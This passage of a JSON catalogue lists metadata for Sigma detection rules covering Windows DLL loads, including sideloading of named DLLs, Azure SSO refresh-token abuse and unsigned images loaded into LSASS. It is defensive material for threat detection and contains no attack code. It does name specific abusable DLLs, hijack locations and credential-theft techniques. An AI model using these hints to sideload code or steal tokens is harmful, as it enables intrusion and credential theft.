          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmap_dbghelp_signed.yml"
        ],
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          "attack.defense_evasion",
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          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
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      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
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          ],
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      "uuid": "98ffaed4-aec2-4e04-9b07-31492fe68b3d",
      "value": "VMMap Signed Dbghelp.DLL Potential Sideloading"
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      "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/14",
        "falsepositive": [
          "Legitimate applications loading their own versions of the DLLs mentioned in this rule"
        ],
        "filename": "image_load_side_load_from_non_system_location.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
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          "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md",
          "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/",
          "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml"
        ],
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          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
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      },
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          ],
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      "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4",
      "value": "Potential System DLL Sideloading From Non System Locations"
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      "description": "Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/07/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_abused_dlls_susp_paths.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html",
          "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_abused_dlls_susp_paths.yml"
        ],
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          "attack.execution",
          "attack.t1059"
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          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
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      "uuid": "799a5f48-0ac1-4e0f-9152-71d137d48c2a",
      "value": "Abusable DLL Potential Sideloading From Suspicious Location"
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    {
      "description": "Detects the image load of vss_ps.dll by uncommon executables",
      "meta": {
        "author": "Markus Neis, @markus_neis",
        "creation_date": "2021/07/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_vss_ps_susp_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/am0nsec/status/1412232114980982787",
          "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vss_ps_susp_load.yml"
        ],
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          "attack.defense_evasion",
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70",
      "value": "Suspicious Volume Shadow Copy VSS_PS.dll Load"
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    {
      "description": "Detects potential DLL sideloading of \"CCleanerDU.dll\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/07/13",
        "falsepositive": [
          "False positives could occur from other custom installation paths. Apply additional filters accordingly."
        ],
        "filename": "image_load_side_load_ccleaner_du.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://lab52.io/blog/2344-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_du.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1fbc0671-5596-4e17-8682-f020a0b995dc",
      "value": "Potential CCleanerDU.DLL Sideloading"
    },
    {
      "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n",
      "meta": {
        "author": "Den Iuzvyk",
        "creation_date": "2020/07/15",
        "falsepositive": [
          "False positives are expected since this rules is only looking for the DLL load event. This rule is better used in correlation with related activity"
        ],
        "filename": "image_load_dll_azure_microsoft_account_token_provider_dll_load.yml",
        "level": "low",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_azure_microsoft_account_token_provider_dll_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453",
      "value": "Potential Azure Browser SSO Abuse"
    },
    {
      "description": "Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access \"arubanetsvc.exe\" process using DLL Search Order Hijacking",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_aruba_networks_virtual_intranet_access.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/wdormann/status/1616581559892545537?t=XLCBO9BziGzD7Bmbt8oMEQ&s=09",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_aruba_networks_virtual_intranet_access.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90ae0469-0cee-4509-b67f-e5efcef040f7",
      "value": "Aruba Network Service Potential DLL Sideloading"
    },
    {
      "description": "Detects potential DLL sideloading of \"RjvPlatform.dll\" by \"SystemResetPlatform.exe\" located in a non-default location.",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_rjvplatform_non_default_location.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1666716511988330499",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_non_default_location.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e0bc253-07ed-43f1-816d-e1b220fe8971",
      "value": "Potential RjvPlatform.DLL Sideloading From Non-Default Location"
    },
    {
      "description": "Detects loading of essential DLLs used by PowerShell, but not by the process powershell.exe. Detects behaviour similar to meterpreter's \"load powershell\" extension.",
      "meta": {
        "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2019/11/14",
        "falsepositive": [
          "Used by some .NET binaries, minimal on user workstation.",
          "Used by Microsoft SQL Server Management Studio"
        ],
        "filename": "image_load_dll_system_management_automation_susp_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=2921",
          "https://github.com/p3nt4/PowerShdll",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_system_management_automation_susp_load.yml"
        ],
        "tags": [
          "attack.t1059.001",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f",
      "value": "PowerShell Core DLL Loaded By Non PowerShell Process"
    },
    {
      "description": "Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process.\nThis library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows.\nIt could also be used for anti-analysis purposes by shut downing specific processes.\n",
      "meta": {
        "author": "Luc Génaux",
        "creation_date": "2023/11/28",
        "falsepositive": [
          "Other legitimate Windows processes not currently listed",
          "Processes related to software installation"
        ],
        "filename": "image_load_dll_rstrtmgr_uncommon_load.yml",
        "level": "low",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/windows-restart-manager-part-2/",
          "https://www.swascan.com/cactus-ransomware-malware-analysis/",
          "https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html",
          "https://www.crowdstrike.com/blog/windows-restart-manager-part-1/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmgr_uncommon_load.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.defense_evasion",
          "attack.t1486",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3669afd2-9891-4534-a626-e5cf03810a61",
      "value": "Load Of RstrtMgr.DLL By An Uncommon Process"
    },
    {
      "description": "Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)",
        "creation_date": "2022/08/17",
        "falsepositive": [
          "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.",
          "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.",
          "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file"
        ],
        "filename": "image_load_side_load_antivirus.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54",
      "value": "Potential Antivirus Software DLL Sideloading"
    },
    {
      "description": "Detects any assembly DLL being loaded by an Office Product",
      "meta": {
        "author": "Antonlovesdnb",
        "creation_date": "2020/02/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_office_dotnet_assembly_dll_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_assembly_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a",
      "value": "DotNET Assembly DLL Loaded Via Office Application"
    },
    {
      "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)",
        "creation_date": "2022/08/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_third_party.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63",
      "value": "Third Party Software DLL Sideloading"
    },
    {
      "description": "Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/12",
        "falsepositive": [
          "Some tuning might be required to allow or remove certain locations used by the rule if you consider them as safe locations"
        ],
        "filename": "image_load_office_excel_xll_susp_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/lnk-between-browsers",
          "https://wazuh.com/blog/detecting-xll-files-used-for-dropping-fin7-jssloader-with-wazuh/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_excel_xll_susp_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "af4c4609-5755-42fe-8075-4effb49f5d44",
      "value": "Microsoft Excel Add-In Loaded From Uncommon Location"
    },
    {
      "description": "Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process.\nThis library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows.\nIt could also be used for anti-analysis purposes by shut downing specific processes.\n",
      "meta": {
        "author": "Luc Génaux",
        "creation_date": "2023/11/28",
        "falsepositive": [
          "Processes related to software installation"
        ],
        "filename": "image_load_dll_rstrtmgr_suspicious_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/windows-restart-manager-part-2/",
          "https://www.swascan.com/cactus-ransomware-malware-analysis/",
          "https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html",
          "https://www.crowdstrike.com/blog/windows-restart-manager-part-1/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmgr_suspicious_load.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.defense_evasion",
          "attack.t1486",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b48492dc-c5ef-4572-8dff-32bc241c15c8",
      "value": "Load Of RstrtMgr.DLL By A Suspicious Process"
    },
    {
      "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_vmware_xfer.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmware_xfer.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b",
      "value": "Potential DLL Sideloading Via VMware Xfer"
    },
    {
      "description": "Detects a WMI modules being loaded by an uncommon process",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_wmi_module_load_by_uncommon_process.yml",
        "level": "low",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190811-WMIModuleLoad/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load_by_uncommon_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e",
      "value": "WMI Module Loaded By Non Uncommon Process"
    },
    {
      "description": "Detects potential DLL sideloading of \"mfdetours.dll\". While using \"mftrace.exe\" it can be abused to attach to an arbitrary process and force load any DLL named \"mfdetours.dll\" from the current directory of execution.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_mfdetours.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d2605a99-2218-4894-8fd3-2afb7946514d",
      "value": "Potential Mfdetours.DLL Sideloading"
    },
    {
      "description": "Detects the image load of \"Python Core\" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.",
      "meta": {
        "author": "Patrick St. John, OTR (Open Threat Research)",
        "creation_date": "2020/05/03",
        "falsepositive": [
          "Legitimate Py2Exe Binaries",
          "Known false positive caused with Python Anaconda"
        ],
        "filename": "image_load_susp_python_image_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.py2exe.org/",
          "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83",
      "value": "Python Image Load By Non-Python Process"
    },
    {
      "description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_iexplore_dcom_iertutil_dll_hijack.yml",
        "level": "critical",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_iexplore_dcom_iertutil_dll_hijack.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1021.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f354eba5-623b-450f-b073-0b5b2773b6aa",
      "value": "Potential DCOM InternetExplorer.Application DLL Hijack - Image Load"
    },
    {
      "description": "Detects loading and execution of an unsigned thor scanner binary.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/29",
        "falsepositive": [
          "Other legitimate binaries named \"thor.exe\" that aren't published by Nextron Systems"
        ],
        "filename": "image_load_thor_unsigned_execution.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_thor_unsigned_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ea5c131b-380d-49f9-aeb3-920694da4d4b",
      "value": "Suspicious Unsigned Thor Scanner Execution"
    },
    {
      "description": "Loading unsigned image (DLL, EXE) into LSASS process",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Valid user connecting using RDP"
        ],
        "filename": "image_load_lsass_unsigned_image_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_lsass_unsigned_image_load.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2",
      "value": "Unsigned Image Loaded Into LSASS Process"
    },
    {
      "description": "Detects potential DLL sideloading of \"waveedit.dll\", which is part of the Nero WaveEditor audio editing software.",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_waveedit.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_waveedit.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "71b31e99-9ad0-47d4-aeb5-c0ca3928eeeb",
      "value": "Potential Waveedit.DLL Sideloading"
    },
    {
      "description": "Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.",
      "meta": {
        "author": "omkar72, oscd.community",
        "creation_date": "2020/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_susp_script_dotnet_clr_dll_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008",
          "https://thewover.github.io/Introducing-Donut/",
          "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html",
          "https://github.com/tyranid/DotNetToJScript",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea",
      "value": "DotNet CLR DLL Loaded By Scripting Applications"
    },
    {
      "description": "Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_vmmap_dbghelp_unsigned.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmap_dbghelp_unsigned.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "273a8dd8-3742-4302-bcc7-7df5a80fe425",
      "value": "VMMap Unsigned Dbghelp.DLL Potential Sideloading"
    },
    {
      "description": "Detects potential DLL sideloading of \"CCleanerReactivator.dll\"",
      "meta": {
        "author": "X__Junior",
        "creation_date": "2023/07/13",
        "falsepositive": [
          "False positives could occur from other custom installation paths. Apply additional filters accordingly."
        ],
        "filename": "image_load_side_load_ccleaner_reactivator.yml",
